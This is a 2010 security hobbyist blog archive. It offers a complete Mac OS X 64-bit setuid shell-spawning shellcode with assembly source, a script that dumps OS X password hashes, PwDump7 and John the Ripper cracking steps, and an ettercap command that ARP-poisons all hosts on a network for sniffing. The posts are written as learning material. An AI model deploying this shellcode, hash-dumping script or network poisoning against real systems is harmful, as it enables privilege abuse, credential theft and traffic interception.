Archive for November, 2010
It doesn’t seem like there’s a lot of x86_64 bit shellcode out there for the Intel Mac platforms so I figured I’d write my own and share it. I’m using Mac OS X 10.6.5 at the time of this post.
Instead of starting with the source and ending with the shellcode, we’re going to throw this one in reverse and get right to the shellcode. So here you have it, a 51 byte Mac OS X 64 bit setuid/shell-spawning shellcode
/* * Name: setuid_shell_x86_64 * Qualities: Null-Free * Platforms: Mac OS X / Intel x86_64 * * Created on: Nov 25, 2010 * Author: Dustin Schultz - TheXploit.com */ char shellcode = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0" "\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52" "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x2f\x73\x68";
; File: setuid_shell_x86_64.asm ; Author: Dustin Schultz - TheXploit.com BITS 64 section .text global start start: a: mov r8b, 0x02 ; Unix class system calls = 2 shl r8, 24 ; shift left 24 to the upper order bits or r8, 0x17 ; setuid = 23, or with class = 0x2000017 xor edi, edi ; zero out edi mov rax, r8 ; syscall number in rax syscall ; invoke kernel jmp short c ; jump to c b: pop rdi ; pop ret addr which = addr of /bin/sh add r8, 0x24 ; execve = 59, 0x24+r8=0x200003b mov rax, r8 ; syscall number in rax xor rdx, rdx ; zero out rdx push rdx ; null terminate rdi, pushed backwards push rdi ; push rdi = pointer to /bin/sh mov rsi, rsp ; pointer to null terminated /bin/sh string syscall ; invoke the kernel c: call b ; call b, push ret of /bin/sh db '/bin//sh' ; /bin/sh string
I would never blindly use shellcode without testing it out my self (unless it’s from a trusted source like Metasploit)
nobody@nobody:~/$ nasm -f macho64 setuid_shell_x86_64.asm nobody@nobody:~/$ ld -arch x86_64 setuid_shell_x86_64.o nobody@nobody:~/$ ./a.out sh-3.2$
And the final byte representation (verify against C source above)
nobody@nobody:~/$ otool -t setuid_shell_x86_64.o setuid_shell_x86_64.o: (__TEXT,__text) section 0000000000000000 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0 0000000000000010 0f 05 eb 12 5f 49 83 c0 24 4c 89 c0 48 31 d2 52 0000000000000020 57 48 89 e6 0f 05 e8 e9 ff ff ff 2f 62 69 6e 2f 0000000000000030 2f 73 68
And that’s all. Be sure to checkback in the future or subscribe to my RSS feed. I definitely have more shellcode to come!
Phrack 67 comes out today! Phrack is THE online magazine for anyone interested in security. Phrack was the original magazine to debut the infamous “Smashing The Stack For Fun And Profit” article. Its been some time since they last released an issue (2009). “Is your blood boiling?” – heck ya!
Be sure to check it out;you know it’s going to be good!
After reading about shellcode in Chapter 5 of Hacking: The Art of Exploitation, I wanted to go back through some of the examples and try them out. The first example was a simple Hello World program in Intel assembly. I followed along in the book and had no problems reproducing results on a 32 bit Linux VM using nasm with elf file format and ld for linking.
Then I decided I wanted to try something similar but with a little bit of a challenge: write a Mac OS X 64 bit “hello world” program using the new fast ‘syscall’ instruction instead of the software interrupt based (int 0×80) system call, this is where things got interesting.
First and foremost, the version of Nasm that comes with Mac OS X is a really old version. If you want to assemble macho64 code, you’ll need to download the lastest version.
nobody@nobody:~$ nasm -v NASM version 2.09.03 compiled on Oct 27 2010
I figured I could replace the extended registers with the 64 bit registers and the int 0×80 call with a syscall instruction so my first attempt was something like this
section .data hello_world db "Hello World!", 0x0a section .text global _start _start: mov rax, 4 ; System call write = 4 mov rbx, 1 ; Write to standard out = 1 mov rcx, hello_world ; The address of hello_world string mov rdx, 14 ; The size to write syscall ; Invoke the kernel mov rax, 1 ; System call number for exit = 1 mov rbx, 0 ; Exit success = 0 syscall ; Invoke the kernel
After assembling and linking, I got this
nobody@nobody:~$ nasm -f macho64 helloworld.s nobody@nobody:~$ ld helloworld.o ld: could not find entry point "start" (perhaps missing crt1.o) for inferred architecture x86_64
Apparently Mac OS X doesn’t use ‘_start’ for linking, instead it just uses ‘start’. After removing the underscore prefix from start, I was able to link but after running, I got this
nobody@nobody:~$ ./a.out Bus error
I was pretty stumped at this point so I headed off to Google to figure out how I was supposed to use the ‘syscall’ instruction. After a bunch of confusion, I stumbled upon the documentation and realized that x86_64 uses entirely different registers for passing arguments. From the documentation:
The number of the syscall has to be passed in register rax. rdi - used to pass 1st argument to functions rsi - used to pass 2nd argument to functions rdx - used to pass 3rd argument to functions rcx - used to pass 4th argument to functions r8 - used to pass 5th argument to functions r9 - used to pass 6th argument to functions A system-call is done via the syscall instruction. The kernel destroys registers rcx and r11.
So I tweaked the code with this new information
... mov rax, 4 ; System call write = 4 mov rdi, 1 ; Write to standard out = 1 mov rsi, hello_world ; The address of hello_world string mov rdx, 14 ; The size to write syscall ; Invoke the kernel mov rax, 1 ; System call number for exit = 1 mov rdi, 0 ; Exit success = 0 syscall ; Invoke the kernel ...
And with high hopes that I’d see “Hello World!” on the console, I still got the exact same ‘Bus error’ after assembling and linking. Back to Google to see if others had tried a write syscall on Mac OS X. I found a few posts of people having success with the syscall number 0×2000004 so I thought I’d give it a try. Similarly, the exit syscall number was 0×2000001. I tweaked the code and BINGO! I was now able to see “Hello World” output on my console but I was seriously confused at this point; what was this magic number 0×200000 that is being added to the standard syscall numbers?
I looked in syscall.h to see if this was some sort of padding (for security?) I greped all of /usr/include for 0×2000000 with no hints what-so-ever. I looked into the Mach-o file format to see if it was related to that with no luck.
After about an hour and a half of looking, I spotted what I was looking for in ‘syscall_sw.h’
/* * Syscall classes for 64-bit system call entry. * For 64-bit users, the 32-bit syscall number is partitioned * with the high-order bits representing the class and low-order * bits being the syscall number within that class. * The high-order 32-bits of the 64-bit syscall number are unused. * All system classes enter the kernel via the syscall instruction. * * These are not #ifdef'd for x86-64 because they might be used for * 32-bit someday and so the 64-bit comm page in a 32-bit kernel * can use them. */ #define SYSCALL_CLASS_SHIFT 24 #define SYSCALL_CLASS_MASK (0xFF << SYSCALL_CLASS_SHIFT) #define SYSCALL_NUMBER_MASK (~SYSCALL_CLASS_MASK) #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
Mac OS X or likely BSD has split up the system call numbers into several different “classes.” The upper order bits of the syscall number represent the class of the system call, in the case of write and exit, it’s SYSCALL_CLASS_UNIX and hence the upper order bits are 2! Thus, every Unix system call will be (0×2000000 + unix syscall #).
Armed with this information, here’s the final x86_64 Mach-o “Hello World”
section .data hello_world db "Hello World!", 0x0a section .text global start start: mov rax, 0x2000004 ; System call write = 4 mov rdi, 1 ; Write to standard out = 1 mov rsi, hello_world ; The address of hello_world string mov rdx, 14 ; The size to write syscall ; Invoke the kernel mov rax, 0x2000001 ; System call number for exit = 1 mov rdi, 0 ; Exit success = 0 syscall ; Invoke the kernel
nobody@nobody:~$ nasm -f macho64 helloworld.s nobody@nobody:~$ ld helloworld.o nobody@nobody:~$ ./a.out Hello World!
There’s a great article on Conficker variant C’s peer-to-peer update process. It allows for distributed updating abilities by scanning for Conficker peers and implements a simple update protocol
- What’s your version? Here’s my version. If your running version is higher than mine, send me yours, if not I’ll send you mine.
It’s a pretty in-depth read but very interesting. Check it out
I think the passwords I use are pretty strong. They’re long, random, alphanumeric, and special characters. I know it’s possible to crack passwords, given enough time, so I thought I’d give it a try. I’m curious how long it’s going to take to crack. I’ll be trying to crack my Windows 7 password and my Mac OS X password using the infamous John the Ripper.
If you want to try this out yourself, you’ll want to use the latest revision (7 at this time) of the Jumbo patch. For the Windows download, you’ll also need to download cygz.dll (there’s a link below the Win32 download) and extract this dll to the /run directory of John the Ripper. For the Mac version, just download the Universal binary.
To extract password hashes from the SAM file on Windows 7, you’ll need PwDump7. It’s very likely that your virus protection (Avira AntiVir reports it as TR/Gendal.77824.CI) will report this as a virus/trojan of some type, you can safely ignore this and just ensure that you are indeed downloading it from the author’s website (the link above). You can also verify the downloaded exe hash provided in the ReadMe of PwDump7. You’ll need to run PwDump7.exe as an Administrator. I tried fgdump to dump the password hashes first but it wouldn’t ever output anything, even running as Administrator. If PwDump7 doesn’t work for you, try fgdump.
Mac OS X 10.6 Leopard implements a pretty standard shadowed password file put in a non-standard location, with a file per user instead of a global file like /etc/shadow. Use this script I wrote called pwdumposx to dump the password hash of the current user.
#!/bin/sh #pwdumposx - thexploit.com cmd="/usr/bin/xpath" path="/var/db/dslocal/nodes/Default/users/"$SUDO_USER".plist" args="//key1/following::array/string/text()" guid=$($cmd $path $args 2>/dev/null | cut -c1-36) cat '/var/db/shadow/hash/'$guid | cut -c169-216
Run like this
nobody@nobody:~$ chmod +x pwdumposx nobody@nobody:~$ sudo ./pwdumposx
Once you have the hash, you just put it in a new file as user:hash and feed the file as input into JtR. If you want status from JtR, press <Enter> and it will output current status. It might take a really long time.
Current Cracking Status for my Passwords
The Mac is a Core Duo with 8 gigs RAM
The Windows 7 is an i7 with 12 gigs RAM
- Mac OS X: 3h 26m elapsed, guesses 0
- Microsoft Windows 7: 2h 12m elapsed, guesses 0
- Mac OS X: 14h 31m elapsed, guesses 0
- Microsoft Windows 7: 13h 16m elapsed, guesses 0
Update 3 – FAILED
- Mac OS X: 1d 1h 31m elapsed, guesses 0
- Microsoft Windows 7: 1d 16m elapsed, guesses 0
Unfortunately it’s difficult for me to tie up my computers for more than a day so I’ve stopped both of them near the 1 day mark. The good news is that, as far as brute-forcing goes, my passwords would likely take sufficient time to crack. This just reiterates the fact that non-dictionary random passwords are a must. Maybe if I’m able to get some high powered server resources I’ll rerun this experiment for a week.
I did some simple tests tonight using the “free” rainbow tables that come with Ophcrack. I was expecting at least one of my passwords to be cracked but neither were. I think there were a couple reasons for this
- The password on my XP machine is 15 characters – Ophcrack only goes up to 14 with the free tables for XP
- The password on my Windows 7 machine is not in the dictionary – Ophcrack only uses a “based on dictionary” hybrid table with the free tables for Vista+
The good thing here is that for the “trivial” user, they won’t be able to get my passwords since the non-free tables go for $99 a piece or they’ll need to obtain other tables online.
So is it Ophcrack crap? No, probably not, that would be a little harsh since I bet the free tables would crack a huge majority of the general public’s passwords.
I’ve always knew it was possible to sniff traffic on your home network but every time I tried, I always ended up sniffing ‘management type packets’ (e.g. arp requests, syns, acks, etc). I’d never really seen any useful information come across the wire so I pretty much wrote off the idea of sniffing.
Recently I had done a little deeper dive related to some work I’m doing in class and discovered some of the things I’d done wrong in the past. So here’s a short post on sniffing traffic on your home network. Take a minute to understand the concepts and be responsible with your sniffing activities.
If your home network is using a hub (it’s likely not), it’s going to be extremely easy to sniff traffic. With a hub, all traffic is broadcast to everyone on the connected to the hub and each Ethernet card decides whether or not to ignore or process the packet. Turning on a sniffer like Wireshark will allow you to see all packets that go through your Ethernet card.
Wireless Router – No Encryption
Open wireless networks are just like a hub to some extent. All traffic is basically “shouted out” across the network and anyone can intercept the traffic by telling their card to accept all transmissions. If your home network is using an unencrypted wireless connection (which I highly don’t recommend), simply start up Wireshark and start sniffing — you don’t even need to connect to your network.
Your home network is very likely using a wired or wireless router (next). Wired routers are different than hubs; they are switched and do not broadcast packets to everyone. They utilize MAC addresses at Layer 2 to send traffic to a specific host. This makes sniffing traffic just slightly more complicated.
All computers communicating over a router, need to keep a mapping of IP addresses to MAC (or hardware) addresses. To do this, they use a protocol called Address Resolution Protocol (ARP). ARP is like DNS but between IP addresses and hardware addresses. Due to the inherent lack of security in we can trick all computers (or hosts) on a network into sending their packets through our device so we can intercept them with our sniffer. This is a classic Man in the Middle Attack. The trick is to “poison” all ARP caches residing on host computers to resolve the IP address of the router to the hardware address of your computer.
Wireless Router Weak Encryption (WEP)
If you use WEP on your home network (which I hope you don’t), you can perform the same Man in the Middle Attack using ARP poisoning utilizing the nature of WEP’s encryption (RC4 – stream cipher) to decrypt packets on the fly.
Wireless Router Strong Encryption (WPA, WPA2)
Encrypted wireless routers are vulnerable to ARP poisoning due to what many refer to as “Hole 196”. For our purposes, you can consider a wireless router with strong encryption just like a wired router. I won’t go into the details of Hole 196; check out the link for more details.
So now that I’ve detailed all the possibilities you could be using for your home network, lets talk about how to use the tools to sniff traffic if your using a router of any sort.
1. Poison Your Network
Ettercap is a phenomenal tool for ARP poisoning. Alternatively, you can use ArpSpoof but you’ll need to set up kernel forwarding on your own, Ettercap on the other hand, handles this for you so this is why I chose it.
Open up a terminal and type this to get ARP poisoning going on your network:
nobody@nobody:~$ sudo ettercap -T -q -M ARP -i en1 // //
Here’s an explanation of the command:
-T is textmode, this is basically the non-interactive mode -q is for quiet -M is the Man in the Middle Attack - ARP in this case -i is the interface - en1 in this case. Replace with your own (e.g. wlan0, eth0, etc) // // means to poison all hosts on the network. It's possible to target single hosts if needed.
Optionally, if you’re using WEP you can add this parameter
If you’re using a Mac, you might be interested in my post on getting Wireshark to work on Mac OS X.
Almost everything, in some sense or another, is vulnerable to brute force. It’s just a matter of how long it takes for something to be brute forced that tends to it’s security. I found it pretty interesting that there are now online WPA crackers that will mount dictionary attacks against captured WPA authentication handshakes:
and even one that you pay for that claims to offer 400 CPU’s and a 135 million word dictionary list tailored to WPA passwords
Just goes to say that in due time, no matter how impossible it seems, dictionary attacks will likely be feasible in sooner time than one would think;all the more reason to use an entirely random WPA password.